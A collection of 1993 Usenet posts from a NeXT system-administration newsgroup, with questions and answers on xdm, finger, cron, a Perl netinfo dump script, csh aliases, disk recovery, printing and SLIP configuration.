---------------------------------------------------------------------- Thanks in advance, Robert C Cyphers Dept of Mathematics and Statistics University of Pittsburgh cyphers+@pitt.edu
From: joe@decoy.uoregon.edu (Joe St Sauver) Newsgroups: comp.sys.next.sysadmin Subject: Re: xdm on NeXT Date: 25 May 1993 16:39:16 GMT Organization: University of Oregon Network Services Distribution: world Message-ID: <1tti3l$guf@pith.uoregon.edu> References: <1tj4kf$35v@pith.uoregon.edu> Keywords: co-Xist, xdm, NCD X terminals In article <1tj4kf$35v@pith.uoregon.edu> jneher@darkwing.uoregon.edu (Jonathan Neher) writes: > Has anyone successfully configured xdm on a NeXT to accept logins from > an NCD X terminal. We are running Coexist 3.0 (X11.R5) xdm on an NeXT > with an empty Xservers file so that it won't try to manage the local > display. We try to login via xdm from an NCD X-terminal and after we enter > our username/passwd at xdm's login screen. We are blown out of the water. > We've tried [stuff deleted] Just in case any of you find yourselves in the same situation: after further testing, it turns out the problem was in the Xresources file. Specifically, the presence of the stock Xresources lines... #ifdef COLOR xlogin*greetColor: CadetBlue xlogin*failColor: red *Foreground: black *Background: #fffff0 #else xlogin*Foreground: black xlogin*Background: white #endif makes xdm kill any login session initiated by xdm from a monochrome NCD X terminal, while removal of those statements results in xdm running just dandy. If (like us) you aren't particularly picky about colors, you may just want to yank the offending statements... Many thanks to Jon Neher and all those who offered suggestions with this problem! Joe St Sauver (joe@oregon.uoregon.edu)
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: Need help for Newsgrazer Date: 25 May 1993 16:59:28 GMT Organization: University of Houston Message-ID: <1ttj9g$iuu@menudo.uh.edu> References: <1993May25.070118.4884@csus.edu> In article <1993May25.070118.4884@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: #In article <C7K86M.EAn@news2.cis.umn.edu> # benkt@ie1next.me.umn.edu writes: #> I just read the Help panel of Newsgrazer. I noticed that in order #>to have the message cancel function, we need "access to inews. How can we #>install inews on a NeXT? Or how can we tap onto an inews server? Can #>somebody enlighten me on this subject? # #If you can post through NewsGrazer, you have access to inews. #If you can't post, why are you trying to cancel posted articles? #(Cancelling a netnews article involves--and costs as much as-- # posting a new article.) # # -=EPS=- !true. If you are using NewsGrazer through a NNTP server then you will not be able to cancel your posts unless you have inews on your local system... NewsGrazer can't cancel via nntp... -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: pjm@SPEECH.CS.CMU.EDU (Pedro J. Moreno) Subject: exporting CD-ROm Message-ID: <C7L5rq.7zM.2@cs.cmu.edu> Sender: news@cs.cmu.edu (Usenet News System) Organization: School of Computer Science, Carnegie Mellon Date: Tue, 25 May 1993 14:04:37 GMT Hi everybody! I want to export the cd-rom in my next so I can access it from other (non-next0) unix workstations. I have tried everything, I have looked in the sonata faq archives, but to no avail, I couldn't find any reference on how to do it. Any suggestion will be appreciated. -- Pedro J. Moreno (NeXTMail OK) Ph.D. Student Electrical and Computer Engineering Speech Group pjm@stevens.speech.cs.cmu.edu Carnegie Mellon University Pittsburgh, PA.
Newsgroups: comp.sys.next.sysadmin From: hogan@improv.rz-berlin.mpg.de (Kharim Hogan) Subject: Fingering and netstat, can anybody help? Message-ID: <1993May25.141120.24726@thunder.mcrcim.mcgill.edu> Sender: news@thunder.mcrcim.mcgill.edu Organization: Los Alamos National Laboratory, NM Date: Tue, 25 May 93 14:11:20 GMT Hi, I have one machine here on the net which is running 3.0 while all the others including the server are still running 2.1. The thing is that I can't finger the machine from the outside at all and can only finger it internally if I don't append the domain to the address. Although, I can finger it just fine if I use it's IP address. Anyway, I did a 'netstat -h' on it and it gives me this weird message that I was hoping might mean something to someone. Here's the message it gives: dweezil:29# netstat -h hosts: not implemented Now if I do the same command on any of the other machines, I get the following: sound> netstat -h IMP Host Table Flags Host Qcnt Q Address RFNM Timer Why the difference? Any idea and how do I implement this 'hosts' thing? All the machines are running netinfo by the way. When I try to finger the machine running 3.0 (dweezil), this is what happens: improv> finger @dweezil [dweezil] No one logged on improv> finger @dweezil.music.mcgill.ca unknown host: dweezil.music.mcgill.ca Fingering any of the other machines (all of which are running 2.1 as I mentioned) works fine from anywhere. There is one thing though that I also can't figure out and that is that if I try to finger the domain (in this case finger @music.mcgill.ca) or any user@music.mcgill.ca, the response is the list of those users logged on to the one machine registered as the domain. It doesn't give me information on any other users logged on to other machines at the time. If I finger a user with an account here, it doesn't give me information on that user as I would get if I fingered people at other sites. For example: improv> finger hogan@music.mcgill.ca [music.mcgill.ca] No one logged on In the above case, improv is a machine at music.mcgill.ca and I am clearly logged on but since I'm not logged on to the machine known as 'jasper', it returns that noone is logged on since noone is logged on to that machine. Why doesn't it read my plan file? Any idea what's happening here? If anyone has any clues about any of this, I'd appreciate it. Thanks so much, Kharim -- ************************************************************************* Kharim M. Hogan Systems Administrator hogan@music.mcgill.ca Faculty of Music, McGill University *************************************************************************
Newsgroups: comp.sys.next.sysadmin From: hogan@improv.rz-berlin.mpg.de (Kharim Hogan) Subject: Re: Fingering and netstat, can anybody help? Message-ID: <1993May25.141639.24907@thunder.mcrcim.mcgill.edu> Sender: news@thunder.mcrcim.mcgill.edu Organization: Los Alamos National Laboratory, NM References: <1993May25.141120.24726@thunder.mcrcim.mcgill.edu> Date: Tue, 25 May 93 14:16:39 GMT In article <1993May25.141120.24726@thunder.mcrcim.mcgill.edu> hogan@improv.rz-berlin.mpg.de (Kharim Hogan) writes: >Hi, BTW, my email address is not hogan@improv.rz-berlin.mpg.de as it says above. I don't know why that happens. Anybody know why? My address is actually: hogan@music.mcgill.ca. Why is this rz-berlin.mpg.de appended to the machine rather than the name of the originating domain? Any idea what needs to be changed so that this doesn't happen? Thanks again, Kharim -- ************************************************************************* Kharim M. Hogan Systems Administrator hogan@music.mcgill.ca Faculty of Music, McGill University *************************************************************************
From: bill@ganesha.cognet.ucla.edu (William Eldridge) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Major hint on mailboxes Date: 25 May 1993 17:44:22 GMT Organization: UCLA Cognitive Science Research Program Message-ID: <1ttltm$2rq@alamut.cognet.ucla.edu> Perhaps most people know this, but if you don't: I just discovered that Nextmail doesn't delete mail you click delete on. You have to then hit Command-k, or the compact option under Utilities for that to happen. If you get a lot of mail, you could have a lot of "deleted" files still saved that you don't realize haven't been erased. I had 5.5 Meg extra, my boss had about 20 Meg extra. -- Bill Eldridge bill@cognet.ucla.edu *** He who remembers the past is condemned to misread it. *** - George Santana
Newsgroups: comp.sys.next.sysadmin From: steve@eps.com Subject: test Message-ID: <netnewsC7LJ2F.JCL@netcom.com> Sender: netnews@netcom.com (USENET Administration) Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Tue, 25 May 1993 18:51:50 GMT This article was probably generated by a buggy news reader.
Newsgroups: comp.sys.next.sysadmin From: iwelch@agsm.ucla.edu (Ivo Welch) Subject: bastard_kernel Message-ID: <1993May25.105259.9231@mic.ucla.edu> Organization: UCLA, Anderson Graduate School Of Management Date: 25 May 93 10:52:59 PDT I just lost my NS partition in an accident with the DOS 6 upgrade. Could the gentlemen who sent me the bastard_kernel patch please do so again? /ivo
Newsgroups: comp.sys.next.sysadmin From: robin (Robin D. Wilson) Subject: Re: getty bug with timeout option? Message-ID: <1993May25.183149.11025@pencom.com> Sender: usenet@pencom.com (News system) Organization: Pencom Systems Incorporated References: <1993May24.195911.7948@rna.indiv.nluug.nl> Date: Tue, 25 May 1993 18:31:49 GMT In article <1993May24.195911.7948@rna.indiv.nluug.nl> gerben@rna.indiv.nluug.nl writes: > I'm not sure if this is a bug. > > I have made an entry in gettytab that adds a timeout (to#120) to the > description of the line. When I use this on a directly attached terminal this > works fine. After 120 seconds and no login yet, getty quits. > > But when the line is attached to a modem, getty does not timeout! As it should. > The problem probably is that there is no carrier yet and that getty still is > waiting to write the banner. It seems as if the timeout is not started when > this has not been done. > > Is this a bug in getty? No. Getty does not just 'die' on the direct connect. Instead, it is assumed that once an instance of getty dies on a particular port, a new one will get respawned immediately; thus re-allowing 'login' on the port. The 'to' (timeout) feature is to allow the system to clean up a port that has an incomplete login attempt on it. That way, someone cannot just dial-in and leave; tying up the port indefinitely. The problem is that getty simply gets to the point that it should 'open()' the tty, and then blocks waiting for a carrier. The 'open()' system call is what's waiting at that point. 'getty' isn't doing anything (not wasting any system resources), and therefore doesn't need to be reset. If; on the other hand, you want 'getty' to timeout on modems (ie. you want to allow a user to attempt a dial-in for "x" amount of time - then if nothing happens, disable the port) I don't know where to help other than write a script or C program to do it 'your' way (like from Burger King). I hope this helps. -- robin "Batman really hates 'bats', but 'Frogman' was already taken..."
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Netinfo DumpDomain Message-ID: <1993May25.230719.1238@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Tue, 25 May 1993 23:07:19 GMT The perl script below will allow you to dump all or part of a netinfo domain. I wrote it up after wasting a couple hours of mouse clicks trying to find a discrepency between two printer directories on two machines. You can call it anything you want. I call mine DumpDomain. Without arguements, it prints usage, with one arguement, it thinks that's a tagged domain, and will start at / on that domain, with two arguments, it uses the second as the starting directory. Enjoy. (Runs under Perl 4.010. Haven't tried with higher versions) #! /usr/local/bin/perl
# This script is useful if you are running Nexts. It will dump # # each directory in turn in a netinfo domain, and for each # # directory will list the properties and values. # # # # S.G.Botsford # # # #################################################################### if (!($ARGV[0])) { $0 = `basename $0`; chop $0; print "Usage $0 <DomainName> [<DirectoryName>]\n"; print " <DomainName> can be either . / or tagged domain\n"; print " <DirectoryName> defaults to /\n"; exit; } $Domain = $ARGV[0]; $DirName = "/"; $DirName = $ARGV[1] unless !($ARGV[1]); print("Netinfo dump of Directory $DirName \nin Domain $Domain \nas of ",`date`); print ("$DirName\n"); &ReadProps($DirName); &ListDir ( $DirName, ""); sub ListDir { local ($DirName, $Indent) = @_; local (@Dir); open (LIST,"niutil -list $Domain $DirName 2>&1 |"); @Dir = (<LIST>); close(LIST); foreach $D (@Dir) { $D =~ /^niutil/ && next; print "$Indent $D "; &ReadProps($D); ($DirNum,$NextDir) = split(/\s+/,$D); $DownDir = $DirName."/".$NextDir; &ListDir( $DownDir, $Indent."- - "); } } sub ReadProps{ local($D)= $_[0]; open (READ, "niutil -read $Domain $D|"); foreach $R (<READ>){ print "\t\t\t$R"; } close (READ); } -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: ali@elm.uucp (Ali Sidani) Subject: Thanks for: Help!! File System FULL Message-ID: <1993May25.235033.2564@cs.ucf.edu> Sender: news@cs.ucf.edu (News system) Organization: Intelligent Simulation and Training Systems Date: Tue, 25 May 1993 23:50:33 GMT Thank you all for your help. I have recovered my hard disk. It was the swapfile. I tried booting from the CD drive that did not help since I could not see my hard drive. I tried all suggestions and what worked is the following : >If your machine won't boot, you have to do the following: >From the ROM monitor, bsd -sb >That puts you into reallyreallyraw single-user mode. So raw, in fact, that >your root partition is still mounted readonly (the -b in the boot command >tells the NeXT not to source /etc/rc.boot, which mounts / readwrite and tries >to write to / as a side effect). So, >mount -o remount,rw / >Now you're free to go in and blow away what you want gone. Don't get too >carried away, though. :-> Thanks Mike , Karsten, Alex, Nicolas and Reid Next time I will not clutter other groups with my posting (the reason I did, beginners panic + my thesis is on the line) Ali ali@ists.engr.ucf.edu
From: glenn@iridium.digex.net (Glenn Rempe) Newsgroups: comp.sys.next.sysadmin Subject: Cshrc alias help Date: 25 May 1993 23:54:33 GMT Organization: Express Access Online Communications, Greenbelt MD USA Distribution: world Message-ID: <1tubjp$79o@news1.digex.net> Hi all, I have been working on various things throughout my system since I have been reading the new book UNIX Power Tools published by O'Reilly & Associates (Great book BTW!). One idea that caught my eye was this, instead of putting and alias in my cshrc file which would make certain operations safer on my machine, eg.: alias rm rm -i alias cp cp -i They mentioned, why not alias commands like rm and rmdir to actually mv the files, and or directories, into a local trash directory such as ~/.NeXT/.NextTrash. This way you remove the files, for all intents and purposes, but you don't delete them unless you explicitly do so within NeXTSTEP with the empty recycler command. My question is this, how do I set up such an alias? How do I get the aliased mv command to receive the filename of the file I need to delete and also pass the file I need to mv the deleted file to? I like this idea, and you could even write a simple shell script (emptytrash) which would go through your system and remove the trash in all of the recyclers. What do you think of this idea? I am learning a lot from the book, but as you can see I still have a way to go! :-) Thanks, Glenn -- Glenn D. Rempe (NeXTMAIL Welcome!) root@iridium.digex.net 900 North Stafford St., #2017 Arlington, VA 22203-1849 Voice: (703) 276-2350 FAX: (703) 243-4398
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.sysadmin Subject: What do these error messages mean, please? Message-ID: <8760@ucsbcsl.ucsb.edu> Date: 25 May 93 23:41:35 GMT Sender: root@ucsbcsl.ucsb.edu Organization: Center for Computer Music Research and Composition, U.C.S.B. I got the following error messages shortly after mounting an OD and using the browser to look around on it: May 25 16:37:35 Workspace: Mounted optical disk at /DISK_1 May 25 16:38:05 Workspace[7246]: Cannot fork for /usr/lib/NextStep/Workspace.app/WM.app/AppFinder.tool May 25 16:38:05 Workspace[7246]: No tool for launch notice on pid : 7288 May 25 16:38:06 Workspace[7246]: Cannot fork for /usr/lib/NextStep/Workspace.app/WM.app/AppFinder.tool May 25 16:38:07 Workspace[7246]: No tool for launch notice on pid : 7289 May 25 16:38:10 foxtrot syslog: NXMiniApp: Cannot receive init message : -203 Could someone please illuminate me as to the meaning of these? Thanks! -- Douglas Scott (805)893-8352 Center for Computer Music Research and Composition University of California, Santa Barbara Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Fax management Message-ID: <1993May26.000956.3874@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Wed, 26 May 1993 00:09:56 GMT I've just installed DFax. Good product. Documentation is a tad thin yet, but they are working on it, and are VERY helpful with problems. However, I need aid in managing fax reception. The host with the fax modem is running NS 3.0, while all other machines, including the / domain netinfo server are running 2.x. So: How do I get notified about faxes: Running either DFax's fax monitor OR FaxReader via NXHost doesn't work, as the 2.x machines barf when the Level 2 PostScript hits. Running FaxReader locally, even when the spool directory is readable on the local machine results in a notice that I have no faxmodem. At that point I can grovel through the directories and open the received fax file. Ideally, I'd like the fax host just to print the darn things, keep them for a week, and discard. I think that this is possible using PrinterManager, but unfortunately, printermanager refuses to modify the existing Fax Modem, claiming that there is already a / domain faxmodem of that name. So: 1. Does anyone have a command line program that will print a fax file. 2. Does anyone know the netinfo defaults to get the host to print the faxfile automatically, and discard after a while. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin Subject: NS 3.0 Message-ID: <1tut99$llq@parsifal.umkc.edu> From: ben@bigben.umsl.edu (Ben Pflanz) Date: 26 May 1993 04:56:09 GMT Organization: University of Missouri - Kansas City Hello, I have a chance to buy a real cheap copy of NS 3.0. Would I be able to get the upgrade to 3.1 at a discount or would I have to pay full price for it? Thanks. Ben Pflanz (ben@bigben.umsl.edu)
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,de.comp.sys.next Subject: Printing with HP ink Date: 26 May 1993 10:07:00 GMT Organization: Technical University of Berlin, Germany Message-ID: <1tvfg5$k78@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Summary: How to print with an HP Deskjet Keywords: HP-Deskjet, Printing Driver and 2.0 hello is there a driver for a HP DeskJet Printer available in the PD? Somebody want to give me one of these for nil and I just would like to know, how much work it is to use it with my NeXT. does it work with 2.0?? please reply via mail thanx in advance stephan -- Stephan Fruhauf gonzo@opal.cs.tu-berlin.de what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
Newsgroups: comp.sys.next.sysadmin From: herring@iesd.auc.dk (B. Erickson Herring) Subject: Re: Cshrc alias help In-Reply-To: glenn@iridium.digex.net's message of 25 May 1993 23:54:33 GMT Message-ID: <HERRING.93May26125319@fermat.iesd.auc.dk> Sender: news@iesd.auc.dk (UseNet News) Organization: Mathematics and Computer Science, Aalborg University References: <1tubjp$79o@news1.digex.net> Date: 26 May 1993 11:53:18 GMT Glenn is: Glenn D. Rempe <glenn@iridium.digex.net> Glenn> [...] One idea that caught my eye was this, instead of putting Glenn> and alias in my cshrc file which would make certain operations Glenn> safer on my machine, eg.: Glenn> alias rm rm -i Glenn> alias cp cp -i Glenn> They mentioned, why not alias commands like rm and rmdir to Glenn> actually mv the files, and or directories, into a local trash Glenn> directory such as ~/.NeXT/.NextTrash. My question is this, how Glenn> do I set up such an alias? How do I get the aliased mv command Glenn> to receive the filename of the file I need to delete and also Glenn> pass the file I need to mv the deleted file to? Try: alias rm 'mv -i \!* ~/.NeXT/.NextTrash' In [t]csh, `!*' gives you the rest of the command line after `rm'. On the NeXT, at least, one is allowed to `mv' files across filesystems. What happens, though, when you want to say `rm -rf some_dir'? Another solution would be to write a little shell script to check that you are on the same filesystem and do other housekeeping. This might work, but is of limited utility except as a learning experience. The Athena Project at MIT has versions of delete/undelete that function as you would like -- maybe you should pick those up instead. Try to think the problem all the way through before just aliasing away, especially when logged in as root -- you'll save yourself much grief. Later, Erick -- ----- Erick Herring | Computation is the art of carefully throwing H Data, Aalborg | away information [and] Life is the art of UNIX Consulting | carefully throwing away opportunities, an SysAdmin & Programming | interesting coincidental parallel. herring@iesd.auc.dk | - Guy L. Steele Jr.
Control: cancel <HERRING.93May26125409@fermat.iesd.auc.dk> Newsgroups: comp.sys.next.sysadmin From: herring@iesd.auc.dk (B. Erickson Herring) Subject: cancel <HERRING.93May26125409@fermat.iesd.auc.dk> Message-ID: <HERRING.93May26125503@fermat.iesd.auc.dk> Sender: news@iesd.auc.dk (UseNet News) Organization: Mathematics and Computer Science, Aalborg University Date: 26 May 1993 11:55:03 GMT -- ----- Erick Herring | Computation is the art of carefully throwing H Data, Aalborg | away information [and] Life is the art of UNIX Consulting | carefully throwing away opportunities, an SysAdmin & Programming | interesting coincidental parallel. herring@iesd.auc.dk | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,de.comp.sys.next From: tpg@rchland.vnet.ibm.com (Terry Gliedt) Subject: Re: Printing with HP ink Sender: news@rchland.ibm.com Message-ID: <1993May26.125431.19291@rchland.ibm.com> Date: Wed, 26 May 1993 12:54:31 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM References: <1tvfg5$k78@news.cs.tu-berlin.de> Organization: IBM Rochester Keywords: HP-Deskjet, Printing Driver and 2.0 In article <1tvfg5$k78@news.cs.tu-berlin.de>, gonzo@cs.tu-berlin.de (S. F. Ruehauf) writes: |> hello |> |> is there a driver for a HP DeskJet Printer available in the PD? |> Somebody want to give me one of these for nil and I just would |> like to know, how much work it is to use it with my NeXT. |> |> does it work with 2.0?? There are a couple of options for using a DJ. There is a commercial package called Dots that isn't particularly expensive. There is also software at orst and sonata to provide support for the DJ. I do not believe the serial support in 2.0 is good enough for anything. In order to use the DJ, you will need to upgrade to 2.1 at least.
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: set user cron job Message-ID: <1993May26.154841.10125@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993May14.211800.11377@schbbs.mot.com> Date: Wed, 26 May 1993 15:48:41 GMT Hao Wang (hwang@nextvm5.corp.mot.com) wrote: : Hi there, : : I am try to set up a cron job for user. I have no document. It seems : different compare with other unix box. Can some out there help me. : Thanks. BSD cron is limited, and is designed to run only root or administrative jobs. However, a SYSVish cron is available as vixie-cron-2.1-next.tar.Z available at finer archive sites everywhere -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
From: bill@alamut.cognet.ucla.edu (William M. Eldridge) Newsgroups: comp.sys.next.sysadmin Subject: Major hint on mailboxes Date: 26 May 1993 10:52:36 -0700 Organization: UCLA Cognitive Science Research Program Message-ID: <1u0ap4$ejd@alamut.cognet.ucla.edu> I meant to post this to sysadmin. And I know this is in the user documentation, but I never read it all the way through, as I'm sure most people don't. Perhaps most people know this, but if you don't: I just discovered that Nextmail doesn't delete mail you click delete on. You have to then hit Command-k, or the compact option under Utilities for that to happen. If you get a lot of mail, you could have a lot of "deleted" files still saved that you don't realize haven't been erased. I had 5.5 Meg extra, my boss had about 20 Meg extra. -- {{{{ bill eldridge 310-206-3960 x }}}} {{{{ bill@cognet.ucla.edu 310-206-3987 fax xxx }}}} {{{{ ~more, ~better, ~faster [80's motto] x }}}} {{{{ ~hot, ~toxic, and ~shallow [90's motto] }}}}
Newsgroups: comp.sys.next.sysadmin From: davis@masig.fsu.edu (Alan Davis) Subject: elm and filter problems Sender: usenet@mailer.cc.fsu.edu Organization: Florida State University ACNS Date: Wed, 26 May 1993 19:05:19 GMT Message-ID: <C7nECv.1Iv@mailer.cc.fsu.edu> I've installed elm2.4 PL 21 on our NeXT cube, stll running 2.1, and am having problems with the filter program. Had initial problems with the Configure script, but managed to solve those and can use elm to send/read mail. However, filter does not seem to be working, messages just stay in the mailbox, but unning filter -r does seem to work as it spits out the rules. Even tried the simple cat command in the .forward file and was not able to get that to work. Is there a special syntax required or is sendmail unable to pipe mail into a command? -- _____________________________________________________________________ Alan Davis | MS B-174 008A Love Bldg. | davis@masig.fsu.edu Mesoscale Air-Sea Interaction Group | Florida State University | Tele: 904-644-3798 Tallahassee, FL 32306-3041 |
Newsgroups: comp.sys.next.sysadmin From: edmtl@alf.uib.no (Thor Legvold) Subject: Re: How can I print .ps file two-up? Message-ID: <1993May26.195558.26060@alf.uib.no> Organization: University of Bergen, Norway References: <1993May24.195530.7882@rna.indiv.nluug.nl> Date: Wed, 26 May 93 19:55:58 GMT gerben@rna.indiv.nluug.nl writes: : See subject. Format --> PageLayout... Size, portrait/landscape, etc etc 1up 2up 4up etc etc... In about all (probably all) menus adhering to NeXT GUI guidelines. : : Thanks, : : -- : Gerben Wierda [NeRD:7539] gerben@rna.indiv.nluug.nl : "If you don't know where you are going, any road will : take you there." From the Talmud(?), rephrased in : Lewis Carroll, "Alice in Wonderland". Regards, Thor -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors
Newsgroups: comp.sys.next.sysadmin From: A Ried Thiel (ried@NorthStar.com) Subject: Re: set user cron job Message-ID: <C7nF0v.8Dr@northstar.com> Sender: usenet@northstar.com (usenet) Organization: NorthStar Technologies, Inc. References: <1993May26.154841.10125@kakwa.ucs.ualberta.ca> Date: Wed, 26 May 1993 19:19:43 GMT In article <1993May26.154841.10125@kakwa.ucs.ualberta.ca> sherwood@space.ualberta.ca (System Administrator) writes: > Hao Wang (hwang@nextvm5.corp.mot.com) wrote: > : Hi there, > : > : I am try to set up a cron job for user. I have no document. It seems > : different compare with other unix box. Can some out there help me. > : Thanks. > > BSD cron is limited, and is designed to run only root or administrative > jobs. However, a SYSVish cron is available as vixie-cron-2.1-next.tar.Z > available at finer archive sites everywhere > > -- > => Sherwood Botsford sherwood@space.ualberta.ca <= > => University of Alberta Lab Manager, Space Physics Group <= > => tel:403 492-3713 fax: 403 492-4256 <= It is possible using NeXT's cron to have the command run as that user. 0 1 * * * root su <username> -c '<program>' This cron entry would run every morning at 1:00am as the user that you substitute in <username>.
From: statman@stat.ufl.edu (charles d. kincaid) Newsgroups: comp.sys.next.sysadmin Subject: NewsGrazer bug? FAQ, I'm sure. Date: 27 May 1993 02:40:51 GMT Organization: University of Florida Message-ID: <1u19njINN14i@no-names.nerdc.ufl.edu> Keywords: NewsGrazer, swapdisk, bugs Hello, I have seen numerous posts regarding bugs in NewsGrazer. Unfortunately, with my limited time I have passed over all of them. Now I've been hit. I am not positive that the bug is in NG, but it happens with NG. Here it is. I converted my internal Quantum 105MB harddrive into a swapdisk today. (Everything works much faster!) Now when I try to read the comp.emacs group with NG it crashes. Not errors on the console or anything, so I have no idea why. I'm sure that it is a coincidence that it happens with comp.emacs, but it has always happened with comp.emacs. I suppose it is possible that there is a problem with the swapdisk. I ran an 'fsck' and it came back fine. (Does this mean anything?) Has anyone else had this problem? I know that most of you are at NWE (you bums! I envy you. :-), so I'll repost in a few days if I don't here anything. Ideas? Suggestions? Questions? Please? -- Sincerely, charles d. kincaid -------------------------------------------------------------------- Dept. of Statistics 'Damn fine coffee...and hot, too!' Univ. of Florida Pres: G-ville NeXT Users Group -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!4:6UE<RU2;VUA;CM]"EQM M87)G;#$R,`I<;6%R9W(Q,C`*>UQC;VQO<G1B;%QR960P7&=R965N,%QB;'5E M,#M]"EQP87)D7'1X-38P7'1X,3$R,%QT>#$V.#!<='@R,C0P7'1X,C@P,%QT M>#,S-C!<='@S.3(P7'1X-#0X,%QT>#4P-#!<='@U-C`P7&8P7&(P7&DP7'5L M,%QF<S(X7&9C,"!(96QL;RQ<"EP*"4D@:&%V92!S965N(&YU;65R;W5S('!O M<W1S(')E9V%R9&EN9R!B=6=S(&EN($YE=W-'<F%Z97(N("!5;F9O<G1U;F%T M96QY+"!W:71H(&UY(&QI;6ET960@=&EM92!)(&AA=F4@<&%S<V5D(&]V97(@ M86QL(&]F('1H96TN("!.;W<@22=V92!B965N(&AI="X@($D@86T@;F]T('!O M<VET:79E('1H870@=&AE(&)U9R!I<R!I;B!.1RP@8G5T(&ET(&AA<'!E;G,@ M=VET:"!.1RX@($AE<F4@:70@:7,N7`I<"@E)(&-O;G9E<G1E9"!M>2!I;G1E M<FYA;"!1=6%N='5M(#$P-4U"(&AA<F1D<FEV92!I;G1O(&$@<W=A<&1I<VL@ M=&]D87DN("`H179E<GET:&EN9R!W;W)K<R!M=6-H(&9A<W1E<B$I("`@3F]W M('=H96X@22!T<GD@=&\@<F5A9"!T:&4@8V]M<"YE;6%C<R!G<F]U<"!W:71H M($Y'(&ET(&-R87-H97,N("!.;W0@97)R;W)S(&]N('1H92!C;VYS;VQE(&]R M(&%N>71H:6YG+"!S;R!)(&AA=F4@;F\@:61E82!W:'DN("!))VT@<W5R92!T M:&%T(&ET(&ES(&$@8V]I;F-I9&5N8V4@=&AA="!I="!H87!P96YS('=I=&@@ M8V]M<"YE;6%C<RP@8G5T(&ET(&AA<R!A;'=A>7,@:&%P<&5N960@=VET:"!C M;VUP+F5M86-S+B`@22!S=7!P;W-E(&ET(&ES('!O<W-I8FQE('1H870@=&AE M<F4@:7,@82!P<F]B;&5M('=I=&@@=&AE('-W87!D:7-K+B`@22!R86X@86X@ M)V9S8VLG(&%N9"!I="!C86UE(&)A8VL@9FEN92X@("A$;V5S('1H:7,@;65A M;B!A;GET:&EN9S\I7`I<"@E(87,@86YY;VYE(&5L<V4@:&%D('1H:7,@<')O M8FQE;3\@($D@:VYO=R!T:&%T(&UO<W0@;V8@>6]U(&%R92!A="!.5T4@*'EO M=2!B=6US(2`@22!E;G9Y('EO=2X@(#HM*2P@<V\@22=L;"!R97!O<W0@:6X@ M82!F97<@9&%Y<R!I9B!)(&1O;B=T(&AE<F4@86YY=&AI;F<N("!)9&5A<S\@ M(%-U9V=E<W1I;VYS/R`@475E<W1I;VYS/R`@4&QE87-E/UP*7`HM+5P*4VEN M8V5R96QY+%P*7`IC:&%R;&5S(&0N(&MI;F-A:61<"BTM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM7`I$97!T+B!O9B!3=&%T:7-T:6-S("`@("`@("`@("`@("`G M1&%M;B!F:6YE(&-O9F9E92XN+F%N9"!H;W0L('1O;R$G7`I5;FEV+B!O9B!& M;&]R:61A("`@("`@("`@("`@("`@("`@4')E<SH@1RUV:6QL92!.95A4(%5S 97)S($=R;W5P7`H*?0H@ `
Newsgroups: comp.sys.next.sysadmin From: verket@venice.sedd.trw.com (Paul Verket) Subject: SLIP and NTP Message-ID: <1993May27.033046.13695@venice.sedd.trw.com> Originator: verket@verket-home Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA Date: Thu, 27 May 1993 03:30:46 GMT I've been using Louis Mamakos' SLIP for quite a while with no problems. I finally got tired of my machine's clock always being wrong so I thought I'd set up to use the Network Time Protocol against a work machine over my slip line. I only want NTP to poll my work machine IF I already have the line up for other reasons so I added a .access file to my diald.conf that excluded UDP (NTP uses UDP). My problem is that as soon as a UDP packet is blocked, the line also won't respond to TCP or ICMP packets either! Am I doing something wrong or is this designed this way? In the following logged example, I did an "/usr/etc/ntp -F" while my slip line was down. The request (at 18:50) didn't bring up the line. I then tried to rsh to a work machine (before 18:55). The line still didn't come up. If I try after 18:55 then all is well unless another UDP packet is rejected before me. My slipsrv.access file has the line: protocols tcp rdp icmp The SLIP log says: May 